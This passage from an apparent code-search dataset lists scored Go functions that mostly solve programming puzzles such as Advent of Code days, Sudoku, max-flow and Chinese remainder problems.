verb)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tfmt.Println(\"Error: No verb & noun pair found\")\n}", "title": "" }, { "docid": "f8fc6275d8fe4e5bf145df3db40db770", "score": "0.5466801", "text": "func Part2(program []int) (int, error) {\n\tcomputer := intcode.NewComputer(program)\n\n\tcomputer.Inputs(2)\n\tcomputer.Run()\n\n\toutputs := computer.Outputs()\n\n\tif len(outputs) != 1 {\n\t\tlog.Println(outputs)\n\t\treturn 0, fmt.Errorf(\"unexpected number of outputs\")\n\t}\n\n\treturn outputs[0], nil\n}", "title": "" }, { "docid": "0bc2f433e30ff314f0e1bf6edc1ee819", "score": "0.54174685", "text": "func solve1(input string) string {\n\t//8,0 -> 0,8\n\tgrid := make(Grid)\n\taoc.MapLines(input, func(line string) error {\n\t\t// we want horizontal or vetical lines only.\n\t\tl := Line{}\n\t\tfmt.Sscanf(line, \"%d,%d -> %d,%d\", &(l.x1), &(l.y1), &(l.x2), &(l.y2))\n\t\tgrid.AddStraightLine(l, false)\n\n\t\treturn nil\n\t})\n\n\treturn fmt.Sprintf(\"%d\", grid.CountIntersections())\n}", "title": "" }, { "docid": "5d0e24f3fa22e0f2e075dbb8aa5de137", "score": "0.53871614", "text": "func NewPasswordPhilosophyPart2Solver() *shared.Puzzle {\n\tsolver := passwordPhilosophyPart2{}\n\treturn shared.NewPuzzle(\"2020-day2-password-philosophy-02\", &solver)\n}", "title": "" }, { "docid": "cf530564c7a2f9ea992d6db720fd3759", "score": "0.53816795", "text": "func Part2(m *FloorMap) uint64 {\n\tlows := m.LowPoints()\n\tbasins := make([]uint64, len(lows))\n\n\tfor i, j := range lows {\n\t\tbasins[i] = m.FindBasin(j)\n\t}\n\n\tsort.Slice(basins, func(i, j int) bool { return basins[i] > basins[j] })\n\n\treturn basins[0] * basins[1] * basins[2]\n}", "title": "" }, { "docid": "fd61a6664030c269bab4f00bb9afc891", "score": "0.5359094", "text": "func SolveGraph2(parallel bool) (int, *Graph) {\n\tgr := GenBlankGraph()\n\ts := Node{0, 1}\n\to := Node{1, 0}\n\tp := Node{1, 2}\n\tq := Node{2, 0}\n\tr := Node{2, 2}\n\tt := Node{3, 1}\n\tgr.AddNode(s)\n\tgr.AddNode(o)\n\tgr.AddNode(p)\n\tgr.AddNode(q)\n\tgr.AddNode(r)\n\tgr.AddNode(t)\n\tgr.AddNeighbour(s, o, 3)\n\tgr.AddNeighbour(s, p, 3)\n\tgr.AddNeighbour(o, p, 2)\n\tgr.AddNeighbour(o, q, 3)\n\tgr.AddNeighbour(p, r, 2)\n\tgr.AddNeighbour(q, r, 4)\n\tgr.AddNeighbour(q, t, 2)\n\tgr.AddNeighbour(r, t, 3)\n\tif parallel == false {\n\t\tflow, solution = EdmondsKarp(gr, s, t)\n\t} else {\n\t\tflow, solution = ParallelEdmondsKarp(gr, s, t)\n\t}\n\treturn flow, solution\n}", "title": "" }, { "docid": "19a307f36e410eed68f53f8cb726da6b", "score": "0.53368956", "text": "func Solution2_1() int {\n\tvar last int\n\tfirst, second, sum := 1, 2, 2\n\n\tfor {\n\t\tlast = first + second\n\t\tfirst = second\n\t\tsecond = last\n\n\t\tif last%2 == 0 {\n\t\t\tsum += last\n\t\t}\n\n\t\tif last > 4000000 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn sum\n}", "title": "" }, { "docid": "c445353824db488521837edf0c299c8a", "score": "0.5335394", "text": "func Day2Part1(input []string) (string, error) {\n\tcodeStrings := strings.Split(input[0], \",\")\n\tcodes := make([]int, len(codeStrings))\n\tfor i, c := range codeStrings {\n\t\tx, err := strconv.Atoi(c)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tcodes[i] = x\n\t}\n\n\t// Set the initial values\n\tcodes[1] = 12\n\tcodes[2] = 2\n\n\tres, err := process(codes)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%d\", res), nil\n}", "title": "" }, { "docid": "ab8eb7eed62973fe3875acdad3b63751", "score": "0.5317458", "text": "func (m *Matrix) solve() {\r\n\tvar old_distance, new_distance, diff float64\r\n\tsize := len(m.id)\r\n\tfor j := 0; j < 100; j++ {\r\n\t\tfor i := 0; i < size; i++ {\r\n\t\t\tm.lkMove(i)\r\n\t\t}\r\n\t\tnew_distance = m.getCurrentTourDistance()\r\n\t\tdiff = old_distance - new_distance\r\n\t\tif j != 0 {\r\n\t\t\t//\t\t\tassert(diff >= 0)\r\n\t\t\tif diff == 0 {\r\n\t\t\t\t//cout << \"Converged after \" << j << \" iterations\" << endl;\r\n\t\t\t\tbreak\r\n\t\t\t}\r\n\t\t}\r\n\t\told_distance = new_distance\r\n\t}\r\n}", "title": "" }, { "docid": "de805f49039a7a56b8b5268de7e3bd61", "score": "0.5314945", "text": "func solve1(input string) string {\n\treturn solveSane(input, 150)\n}", "title": "" }, { "docid": "f8aacc2cdc7d22d310ffd51f547270cd", "score": "0.53095645", "text": "func Solve(input string) (string, string) {\n\t// Parse the train track grid. Make a copy for partB.\n\tlines := strings.FieldsFunc(input, func(c rune) bool { return c == '\\n' })\n\twidth, height := len(lines[0]), len(lines)\n\tgridA := make([]rune, width*height)\n\ttrainsA := trains(make([]train, 0))\n\tfor y := 0; y < height; y++ {\n\t\tfor x := 0; x < width; x++ {\n\t\t\tr := rune(lines[y][x])\n\t\t\tswitch r {\n\t\t\tcase 'v':\n\t\t\t\ttrainsA = append(trainsA, train{x: x, y: y, dir: 2})\n\t\t\t\tr = '|'\n\t\t\tcase '^':\n\t\t\t\ttrainsA = append(trainsA, train{x: x, y: y, dir: 0})\n\t\t\t\tr = '|'\n\t\t\tcase '>':\n\t\t\t\ttrainsA = append(trainsA, train{x: x, y: y, dir: 1})\n\t\t\t\tr = '-'\n\t\t\tcase '<':\n\t\t\t\ttrainsA = append(trainsA, train{x: x, y: y, dir: 3})\n\t\t\t\tr = '-'\n\t\t\t}\n\t\t\tgridA[(y*width)+x] = r\n\t\t}\n\t}\n\tgridB := make([]rune, width*height)\n\tcopy(gridB, gridA)\n\ttrainsB := trains(make([]train, len(trainsA)))\n\tcopy(trainsB, trainsA)\n\treturn solveA(gridA, trainsA, width, height), solveB(gridA, trainsB, width, height)\n}", "title": "" }, { "docid": "bc1b164a6a9daa4ebd9ea004556fd293", "score": "0.53065187", "text": "func solve2(input string) string {\n\tlines := strings.Split(input, \"\\n\")\n\tsum := 0\n\tfor _, line := range lines {\n\t\tif line != \"\" {\n\t\t\tline = strings.ReplaceAll(line, \" \", \"\")\n\t\t\t//\tfmt.Println(\"Expr:\", line)\n\t\t\tsum += eval2(strings.NewReader(line), \"#\", breakOnEOF)\n\t\t}\n\t}\n\treturn fmt.Sprintf(\"%d\", sum)\n}", "title": "" }, { "docid": "aa17c98054b7847dce5fc9f12ce550a8", "score": "0.5296292", "text": "func part2(input []string) {\n\tmem := map[int]int{}\n\tlistInts := []int{}\n\tbusses := strings.Split(input[1], \",\")\n\n\tfor i, b := range busses {\n\t\tif b == \"x\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tbInt, _ := strconv.Atoi(b)\n\t\tmem[bInt] = bInt - i\n\t\tlistInts = append(listInts, bInt)\n\t}\n\n\tfmt.Println(mem)\n\tfmt.Println(listInts)\n\n\tprod := 1\n\tfor _, n := range listInts {\n\t\tprod *= n\n\t}\n\tfmt.Println(prod)\n\n\tresult := 0\n\tfor k, v := range mem {\n\t\tpp := prod / k\n\t\tresult += v * pp * inv(pp, k)\n\t}\n\n\tfmt.Println(result % prod)\n}", "title": "" }, { "docid": "50af013faf00c7dfb016e5f69f41a936", "score": "0.5269043", "text": "func Solve(s, t int, capa, edges [][]int) (int, [][]int) {\n\tf := 0\n\tflow := make([][]int, len(capa))\n\tfor i := range flow {\n\t\tflow[i] = make([]int, len(capa))\n\t}\n\n\tfor {\n\t\tm, p := bfs(s, t, capa, edges, flow)\n\t\tif m == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tf += m\n\t\tv := t\n\t\tfor v != s {\n\t\t\tu := p[v]\n\t\t\tflow[u][v] += m\n\t\t\tflow[v][u] -= m\n\t\t\tv = u\n\t\t}\n\t}\n\treturn f, flow\n}", "title": "" }, { "docid": "a6fd0644a318b7cbf0998d9a8e724052", "score": "0.5253672", "text": "func solveCRT2(divisors []int, as []int) int {\n\tM := 1 // product of all divisors\n\tfor _, d := range divisors {\n\t\tM *= d\n\t}\n\n\tvar sum int\n\tfor i, d := range divisors {\n\t\tm := M / d\n\t\tprefactor := 0\n\t\tfor (prefactor*m+as[i])%d != 0 {\n\t\t\tprefactor++\n\t\t}\n\t\tsum += prefactor * m\n\t}\n\treturn sum % M\n}", "title": "" }, { "docid": "a338738aee9f9a3cd4865ffc6a573892", "score": "0.523304", "text": "func (d Day) SolvePartOne() (string, error) {\n\tlayer := fewestZeroDigits(d.image.layers)\n\tnumberOfOnes := layer.numberOfDigits(1)\n\tnumberOfTwos := layer.numberOfDigits(2)\n\treturn fmt.Sprintf(\"%d\", numberOfOnes*numberOfTwos), nil\n}", "title": "" }, { "docid": "b22809502b9e07d3090c8507b337d026", "score": "0.5232707", "text": "func solve2(input string) string {\n\tpassports := parsePassports(input)\n\tsum := 0\n\tfor _, p := range passports {\n\t\tif p.HasValidFields(validators) {\n\t\t\tsum++\n\t\t}\n\t}\n\treturn fmt.Sprintf(\"%d\", sum)\n}", "title": "" }, { "docid": "0d3d15d17b22bfabd8faf8ff4a8efbab", "score": "0.52101046", "text": "func Example_solution2() {\n\tsolution := tabuSearch.Solve(test.ComplexTestCase().Jobs, 100, 16, 10)\n\tgraph := graph_state.From(solution)\n\tfmt.Println(graph)\n\n\t// Output:\n\t//Machine 0: [2 11 17 0 3 15 14 13 12 1 4 9 19 8 5 7 10 6 16 18]\n\t//Machine 1: [4 9 3 13 5 17 1 10 19 2 0 14 16 7 18 12 15 6 11 8]\n\t//Machine 2: [0 12 17 2 16 6 1 14 4 13 7 5 3 18 15 11 8 10 9 19]\n\t//Machine 3: [16 0 1 6 14 2 4 12 7 8 19 5 10 17 18 9 15 13 3 11]\n\t//Machine 4: [0 7 3 15 13 6 10 11 14 8 5 2 4 16 12 1 19 9 17 18]\n\t//Machine 5: [7 12 18 16 10 17 4 11 9 15 13 3 19 5 1 14 0 6 8 2]\n\t//Machine 6: [2 1 3 4 6 7 0 5 13 12 16 14 8 18 10 15 19 17 11 9]\n\t//Machine 7: [2 3 4 15 5 18 10 0 16 13 1 9 12 17 14 19 7 11 8 6]\n\t//Machine 8: [5 13 12 6 4 19 8 17 0 10 7 15 1 14 16 11 2 3 9 18]\n\t//Machine 9: [3 14 0 15 19 7 4 6 2 18 13 10 8 11 5 1 17 12 16 9]\n\t//Machine 10: [10 17 18 2 4 1 7 13 3 5 6 15 14 0 16 8 11 9 12 19]\n\t//Machine 11: [4 5 1 11 17 8 14 18 3 19 13 0 12 6 2 16 7 10 15 9]\n\t//Machine 12: [12 9 17 1 3 10 13 2 14 6 19 16 4 7 18 0 5 8 11 15]\n\t//Machine 13: [4 2 6 8 18 1 11 12 7 15 13 19 14 0 9 10 5 3 17 16]\n\t//Machine 14: [5 14 15 13 18 6 7 9 10 17 0 1 3 12 4 8 11 19 2 16]\n}", "title": "" }, { "docid": "6ed331b87ea824da626137b150744661", "score": "0.5203803", "text": "func Solve() {\n\tday := 6\n\n\tinputFile, err := utils.GetInput(day)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"unable to get input\")\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\treturn\n\t}\n\n\tfile, err := os.Open(inputFile)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"unable to open input file\")\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\treturn\n\t}\n\n\tdefer file.Close()\n\n\tpreOrbits, err := readPreOrbits(file)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"unable to read preOrbits\")\n\t\tfmt.Fprintln(os.Stderr, err)\n\t\treturn \n\t}\n\n\torbits := processOrbits(preOrbits)\n\ttotalOrbits := countAllOrbitTypes(orbits)\n\n\tfmt.Printf(\"total orbits (direct & indirect) = %d\\n\", totalOrbits)\n\n\tyou, _ := orbits.get(YOU)\n\tsan, _ := orbits.get(SAN)\n\n\ttransfers := transferBetweenOrbits(you, san)\n\tfmt.Printf(\"number of orbital transfers required to reach Santa = %d\\n\", transfers)\n}", "title": "" }, { "docid": "7652f2cad7f7b0875fcd52c2b6ce03f5", "score": "0.51975685", "text": "func Solve(board Board) (Board, error) {\n\n\t// infinite loops for infinite loops\n\tfor {\n\t\t// reset the solvedNumberCount when a new iteration over the board starts\n\t\tsolvedNumberCount = 0\n\n\t\t// Loop over all the fields in the board\n\t\tfor _, field := range board.Fields {\n\n\t\t\t// number is already existing\n\t\t\tif field.Number != 0 {\n\t\t\t\tsolvedNumberCount++\n\n\t\t\t\t// There are 81 fields, if all numbers are solved we're done\n\t\t\t\tif solvedNumberCount == 81 {\n\t\t\t\t\treturn board, nil\n\t\t\t\t}\n\n\t\t\t\t// Skip solved numbers\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Reset the possible numbers for the current field\n\t\t\tfield.PossibleNumbers = []uint{}\n\n\t\t\t// Loop over all numbers to see if the number can fit in the given field\n\t\t\tfor i := 1; i <= 9; i++ {\n\t\t\t\tif !board.HasNumberInBox(*field, uint(i)) &&\n\t\t\t\t\t!board.HasNumberInColumn(*field, uint(i)) &&\n\t\t\t\t\t!board.HasNumberInRow(*field, uint(i)) {\n\t\t\t\t\tfield.PossibleNumbers = append(field.PossibleNumbers, uint(i))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Increase the last solve iteration count\n\t\t\titerationsSinceLastSolve++\n\n\t\t\t// If there's only one possible number it's the solution\n\t\t\tif len(field.PossibleNumbers) == 1 {\n\t\t\t\tfield.Number = int(field.PossibleNumbers[0])\n\t\t\t\tfield.PossibleNumbers = []uint{}\n\t\t\t\titerationsSinceLastSolve = 0\n\t\t\t}\n\n\t\t\t// Check to see if we don't have too many iterations since the last solve.\n\t\t\t// This is to avoid infinite loops for unsolvable boards\n\t\t\tif iterationsSinceLastSolve > maxIterationsSinceLastSolve {\n\t\t\t\treturn board, errors.New(\"too many iterations since last solve. Might be an unsolvable board\")\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "bce784c53f943659eae1797fa346f330", "score": "0.51932037", "text": "func Part2(field *Field, station Point, goalIndex int) int {\n\tvaporized := Vaporize(field, station)\n\n\tif len(vaporized)-1 < goalIndex {\n\t\tpanic(\"no asteroids vaporized?\")\n\t}\n\n\tgoal := vaporized[goalIndex]\n\treturn goal.X*100 + goal.Y\n}", "title": "" }, { "docid": "bf62b30858687dc597ef55e148e57532", "score": "0.51792085", "text": "func PartTwo(input io.Reader, answer io.Writer) error {\n\tfields, yourTicket, nearbyTickets, err := fieldsAndTicketsFromReader(input)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not read input: %w\", err)\n\t}\n\n\tvar validTickets []ticket\n\tfor _, t := range nearbyTickets {\n\t\tif ticketIsValid(t, fields) {\n\t\t\tvalidTickets = append(validTickets, t)\n\t\t}\n\t}\n\n\tmapping, err := fieldMapping(fields, validTickets)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not order fields: %w\", err)\n\t}\n\n\tproduct := 1\n\tfor i, j := range mapping {\n\t\tif strings.HasPrefix(fields[j].name, \"departure\") {\n\t\t\tproduct *= yourTicket[i]\n\t\t}\n\t}\n\n\t_, err = fmt.Fprintf(answer, \"%d\", product)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not write answer: %w\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "9be6f3fc7df27a103ea8e1fcf53c65d7", "score": "0.5161852", "text": "func solve1(input string) string {\n\tnums := parseNumbers(input)\n\n\t// we only need to iterate from after the preamble\n\t// and sub-iterate over the previous \"preamble\"'s worth\n\t// of entries.\n\tif n, ok := findBadNumber(nums); ok {\n\t\treturn fmt.Sprintf(\"%d\", n)\n\t}\n\treturn \"<unsolved>\"\n}", "title": "" }, { "docid": "a9acd0c914a0c3c197af1c2a4491c036", "score": "0.5150437", "text": "func solveSudoku(board [][]byte) {\n\t// 位运算:\n\t//row, col, box := [9]int{}, [9]int{}, [9]int{}\n\t//var dfs func(r int, c int) bool\n\t//dfs = func(r int, c int) bool {\n\t//\tif c == 9 {\n\t//\t\tr++\n\t//\t\tif r == 9 {\n\t//\t\t\treturn true\n\t//\t\t}\n\t//\t\tc = 0\n\t//\t}\n\t//\tif board[r][c] != '.' { // 原本已被填的数 || 提前遍历,将数据存到3个数组中\n\t//\t\t// 写法二\n\t//\t\t//curr := 1 << (board[r][c] - '1')\n\t//\t\t//if row[r]&curr != 0 || col[c]&curr != 0 || box[boxIdx]&curr != 0 { //检查数字是否已被前面占领\n\t//\t\t//\treturn false\n\t//\t\t//}\n\t//\t\t//row[r], col[c], box[boxIdx] = row[r]|curr, col[c]|curr, box[boxIdx]|curr\n\t//\t\treturn dfs(r, c+1)\n\t//\t}\n\t//\tboxIdx := r - r%3 + c/3\n\t//\tfor i := 0; i < 9; i++ { // 重点\n\t//\t\tcurr := 1 << i\n\t//\t\tif row[r]&curr != 0 || col[c]&curr != 0 || box[boxIdx]&curr != 0 {\n\t//\t\t\tcontinue\n\t//\t\t}\n\t//\t\tboard[r][c], row[r], col[c], box[boxIdx] = byte(i)+'1', row[r]|curr, col[c]|curr, box[boxIdx]|curr\n\t//\t\tif dfs(r, c+1) { // drill down\n\t//\t\t\treturn true\n\t//\t\t}\n\t//\t\tboard[r][c], row[r], col[c], box[boxIdx] = '.', row[r]^curr, col[c]^curr, box[boxIdx]^curr // 回溯\n\t//\t}\n\t//\treturn false\n\t//}\n\t///*\n\t//\t位运算:两种写法\n\t//\t\t1.先将已知数添加到数组中,会快非常多\n\t//\t\t2.DFS时,碰到已知数,才添加到数组中,会超时\n\t//\t重点:\n\t//\t\t1.for i := 0; i < 9; i++ {\n\t//\t\t\t遍历每个位置可能填的数 1-9\n\t//\t\t2.dfs(0, 0, [9]int{}, [9]int{}, [9]int{})\n\t//\t\t\t理解:记录的数组可当成参数,也可以不当成参数\n\t//*/\n\t//// 写法一\n\t//for i := 0; i < 9; i++ { // 先存数据\n\t//\tfor j := 0; j < 9; j++ {\n\t//\t\tif board[i][j] != '.' {\n\t//\t\t\t//fmt.Println(i, j)\n\t//\t\t\tcurr := 1 << (board[i][j] - '1')\n\t//\t\t\trow[i], col[j], box[i-i%3+j/3] = row[i]|curr, col[j]|curr, box[i-i%3+j/3]|curr\n\t//\t\t}\n\t//\t}\n\t//}\n\t//dfs(0, 0)\n\t////dfs(0, 0, [9]int{}, [9]int{}, [9]int{})\n\n\t// 数组\n\trow, col, box := [9][9]bool{}, [9][9]bool{}, [9][9]bool{}\n\tgetBoxIdx := func(i int, j int) int { return i - i%3 + j/3 }\n\tfor i := 0; i < 9; i++ {\n\t\tfor j := 0; j < 9; j++ {\n\t\t\tif board[i][j] != '.' {\n\t\t\t\tval, idx := board[i][j]-'1', getBoxIdx(i, j)\n\t\t\t\trow[i][val], col[j][val], box[idx][val] = true, true, true\n\t\t\t}\n\t\t}\n\t}\n\tvar dfs func(r, c int) bool\n\tdfs = func(r, c int) bool {\n\t\tif c == 9 {\n\t\t\tr++\n\t\t\tif r == 9 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tc = 0\n\t\t}\n\t\tif board[r][c] != '.' {\n\t\t\treturn dfs(r, c+1)\n\t\t}\n\t\tidx := getBoxIdx(r, c)\n\t\tfor i := 0; i < 9; i++ {\n\t\t\tif row[r][i] || col[c][i] || box[idx][i] {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tboard[r][c], row[r][i], col[c][i], box[idx][i] = byte(i)+'1', true, true, true\n\t\t\tif dfs(r, c+1) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tboard[r][c], row[r][i], col[c][i], box[idx][i] = '.', false, false, false\n\t\t}\n\t\treturn false\n\t}\n\tdfs(0, 0)\n}", "title": "" }, { "docid": "7345be1abf76ddd529a799398bd60da7", "score": "0.51453483", "text": "func (s Solution) SolveSecondWithParam(size int) (int, error) {\n\ttarget, err := s.SolveFirstWithParam(size)\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\n\tvar i, j, sum int\n\tfor {\n\n\t\tif sum == target {\n\t\t\tbreak\n\t\t}\n\n\t\tif j >= len(s.entries) {\n\t\t\treturn -1, errors.New(\"solution not found\")\n\t\t}\n\n\t\tif sum < target {\n\t\t\tsum += s.entries[j]\n\t\t\tj++\n\t\t}\n\n\t\tif sum > target {\n\t\t\tsum -= s.entries[i]\n\t\t\ti++\n\t\t}\n\t}\n\n\tvalues := s.entries[i:j]\n\tsort.Ints(values)\n\tresult := values[0] + values[len(values)-1]\n\treturn result, nil\n\n}", "title": "" }, { "docid": "97d0c3f818abf0ab9ecd212e3441de9b", "score": "0.5143814", "text": "func SolveTask2ChineseRemainderTheorem(input []string) int64 {\n\tcrtInput := SimultaneousCongruence{}\n\tfor i, s := range input {\n\t\tif s != \"x\" {\n\t\t\tmodulus, _ := strconv.Atoi(s)\n\t\t\tremainder := (modulus - i) % modulus\n\t\t\tc := CongruenceConstraint{int64(remainder), int64(modulus)}\n\t\t\tcrtInput = append(crtInput, c)\n\t\t}\n\t}\n\n\treturn SolveSimultaneousCongruence(crtInput)\n}", "title": "" }, { "docid": "40237b934d49840222dd72d064633959", "score": "0.5143434", "text": "func Run() {\n\tinput := Input()\n\n\tfmt.Println(\"solution task 1:\", SolveTask1(1006697, &[]int{13, 41, 641, 19, 17, 29, 661, 37, 23}))\n\t// fmt.Println(\"solution task 2:\", SolveTask2BruteForce(100000000000000, input))\n\tfmt.Println(\"solution task 2:\", SolveTask2ChineseRemainderTheorem(input))\n\n}", "title": "" }, { "docid": "75757dd1f5235266d4e9ff5b7a6f0d9f", "score": "0.50763035", "text": "func day9_part2() {\n\tlist := init_data()\n\tinvalid := find_fist_invalid(list, 25)\n\n\tfor i := 0; i < len(list); i++ {\n\t\tsum, smallest, largest := add_to_invalid(list, invalid, i)\n\t\tif sum == invalid {\n\t\t\tfmt.Println(\"found it\", smallest, largest, \"Result\", smallest+largest)\n\t\t\tbreak\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "fed4f9ef03dbbea4a52031440885443a", "score": "0.5065566", "text": "func (s *Solver) Part1() (string, error) {\n\ttotal := 0\n\tnodes := s.GraphFromCOM.Nodes()\n\tfor _, node := range nodes {\n\t\ttotal += s.GraphFromCOM.Reachable(node)\n\t}\n\treturn strconv.Itoa(total), nil\n}", "title": "" }, { "docid": "412df9211b62df754ca77bcbbab0ed2d", "score": "0.50173146", "text": "func (pz *PuzzleRSW) Solve() (answer []byte, err error) {\n\t// return pz.SolveDanGMPCkXOR()\n\treturn pz.SolveGMPCkXOR()\n}", "title": "" }, { "docid": "d6b95adffb1c54a6d29f0b7d5d697cea", "score": "0.501708", "text": "func Q2() int {\n\tm := 4000000\n\ta, b := 1, 2\n\ttotal := int(b)\n\tfor (a+b) < m {\n\t\tc := (a+b)\n\t\tif (c % 2 == 0) {\n\t\t\ttotal += c\n\t\t}\n\t\ta, b = b, c\n\t}\n\treturn total\n}", "title": "" }, { "docid": "53a621c409a2a1188136a912a7ea0ba8", "score": "0.49981868", "text": "func PartTwo(input string) (string, error) {\n\treturn solveActualLocation(input)\n}", "title": "" }, { "docid": "7c075d485069d894d29703d941041dea", "score": "0.49950764", "text": "func (c *Challenge) Solve() string {\n\tx := gmp.NewInt(0).Set(c.x) // dont mutate c.x\n\tfor i := uint32(0); i < c.d; i++ {\n\t\tx.Exp(x, exp, mod)\n\t\tx.Xor(x, one)\n\t}\n\treturn fmt.Sprintf(\"%s.%s\", version, base64.StdEncoding.EncodeToString(x.Bytes()))\n}", "title": "" }, { "docid": "0cb93df9d59df22e68545b5079b8cfcf", "score": "0.49920556", "text": "func getUnsolved(unsolved [9][9]int, solved [9][9]int) [9]Sudoku {\n\tsolvedSudoku := [9]Sudoku{}\n\n\tfor i := 0; i < 9; i++ {\n\t\tfor j := 0; j < 9; j++ {\n\n\t\t\tif unsolved[i][j] != 0 {\n\t\t\t\tsolvedSudoku[i].Value[j] = solved[i][j]\n\n\t\t\t} else {\n\t\t\t\tsolvedSudoku[i].Solution[j] = solved[i][j]\n\t\t\t}\n\t\t\tvar f string\n\n\t\t\t// switch statement to set correct Cell ID\n\t\t\tswitch i {\n\t\t\tcase 0:\n\t\t\t\tf = \"A\"\n\t\t\tcase 1:\n\t\t\t\tf = \"B\"\n\t\t\tcase 2:\n\t\t\t\tf = \"C\"\n\t\t\tcase 3:\n\t\t\t\tf = \"D\"\n\t\t\tcase 4:\n\t\t\t\tf = \"E\"\n\t\t\tcase 5:\n\t\t\t\tf = \"F\"\n\t\t\tcase 6:\n\t\t\t\tf = \"G\"\n\t\t\tcase 7:\n\t\t\t\tf = \"H\"\n\t\t\tcase 8:\n\t\t\t\tf = \"I\"\n\n\t\t\t}\n\n\t\t\ts := strconv.Itoa(j + 1)\n\t\t\tsolvedSudoku[i].ID[j] = f + s\n\n\t\t\t// The done variable is used to identify in the template the boundaries of the minigrids for the\n\t\t\t// thicker border\n\t\t\tif i == 3 || i == 6 {\n\t\t\t\tsolvedSudoku[i].Done = true\n\t\t\t} else {\n\t\t\t\tsolvedSudoku[i].Done = false\n\t\t\t}\n\n\t\t}\n\t}\n\treturn solvedSudoku\n\n}", "title": "" }, { "docid": "32bc7e51ff244eb34af4185b84054165", "score": "0.4980655", "text": "func Solve() string {\n\tprimes := prime.List(2_000_000)\n\tsum := uint64(0)\n\tfor _, p := range primes {\n\t\tsum += p\n\t}\n\treturn strconv.Itoa(int(sum))\n}", "title": "" }, { "docid": "e5b98ef7b4d2b5c39d7784bbc5f46510", "score": "0.4974084", "text": "func Part2(fileName string) int64 {\n\torbits := loadOrbits(fileName)\n\t// For the graph, give each object an int ID\n\tidMap := mapObjectsToIDs(orbits)\n\tg := graph.New(len(idMap))\n\tvar cost int64\n\tfor k, v := range orbits {\n\t\tif k == you || k == santa {\n\t\t\tcost = 0\n\t\t} else {\n\t\t\tcost = 1\n\t\t}\n\t\tg.AddBothCost(idMap[k], idMap[v], cost)\n\t}\n\t_, distance := graph.ShortestPath(g, idMap[you], idMap[santa])\n\treturn distance\n}", "title": "" }, { "docid": "626648d177fe3866d4479a8ebe53517a", "score": "0.49732283", "text": "func part1() interface{} {\n\tm, pos := readMap(inputs.GetLine(\"day18/input.txt\"))\n\treturn findCostMap(m, pos)\n}", "title": "" }, { "docid": "3ed7de30baf4b139f455610a25c973f1", "score": "0.49704865", "text": "func (s dec03Solver) Solve(p door.Parts) (door.Result, error) {\n\tf, err := readForest(s.inputPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to parse input file '%s': %s\", s.inputPath, err.Error())\n\t}\n\tvar result dec03Result\n\tif p.Contains(door.Prima) {\n\t\tresult.treeCountPrima = ptr.Int(f.countTreesPrima())\n\t}\n\tif p.Contains(door.Secunda) {\n\t\tresult.treeCountSecunda = ptr.Int(f.countTreesSecunda())\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "b74cf845d1a8d8e3a4d52cceece317d8", "score": "0.49682686", "text": "func solve3() string {\n\t_, pt := decodeByteXor(bytes.FromHex(\"1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736\"))\n\treturn pt\n}", "title": "" }, { "docid": "91dfb2daa6b7fba6de2eb689ee5bc1ed", "score": "0.4936963", "text": "func solve_system(K [][]float64, D []float64, F []float64, R []float64, DoF int32, q []int32, r []int32, ok []int32, verbose int32, rms_resid []float64) {\n\tvar diag []float64\n\t//\n\t// * SOLVE_SYSTEM - solve {F} = [K]{D} via L D L' decomposition 27dec01\n\t// * Prescribed displacements are \"mechanical loads\" not \"temperature loads\"\n\t//\n\t// diagonal vector of the L D L' decomp.\n\t// suppress verbose output\n\tverbose = 0\n\tdiag = dvector(1, DoF)\n\t// L D L' decomposition of K[q,q] into lower triangle of K[q,q] and diag[q]\n\t// vectors F and D are unchanged\n\tldl_dcmp_pm(K, DoF, diag, F, D, R, q, r, 1, 0, ok)\n\tif ok[0] < 0 {\n\t\tnoarch.Fprintf(noarch.Stderr, []byte(\" Make sure that all six\\x00\"))\n\t\tnoarch.Fprintf(noarch.Stderr, []byte(\" rigid body translations are restrained!\\n\\x00\"))\n\t} else {\n\t\t// exit(31);\n\t\t// LDL' back-substitution for D[q] and R[r]\n\t\tldl_dcmp_pm(K, DoF, diag, F, D, R, q, r, 0, 1, ok)\n\t\tif verbose != 0 {\n\t\t\tnoarch.Fprintf(noarch.Stdout, []byte(\" LDL' RMS residual:\\x00\"))\n\t\t}\n\t\trms_resid[0] = float64((func() int32 {\n\t\t\tok[0] = 1\n\t\t\treturn ok[0]\n\t\t}()))\n\t\tfor {\n\t\t\t// improve solution for D[q] and R[r]\n\t\t\tldl_mprove_pm(K, DoF, diag, F, D, R, q, r, rms_resid, ok)\n\t\t\tif verbose != 0 {\n\t\t\t\tnoarch.Fprintf(noarch.Stdout, []byte(\"%9.2e\\x00\"), rms_resid[0])\n\t\t\t}\n\t\t\tif noarch.NotInt32(ok[0]) != 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif verbose != 0 {\n\t\t\tnoarch.Fprintf(noarch.Stdout, []byte(\"\\n\\x00\"))\n\t\t}\n\t}\n\tfree_dvector(diag, 1, DoF)\n}", "title": "" }, { "docid": "0b794c6647482d553883424198f89428", "score": "0.49284366", "text": "func (pb *Problem) Simplify2() {\n\tnbClauses := 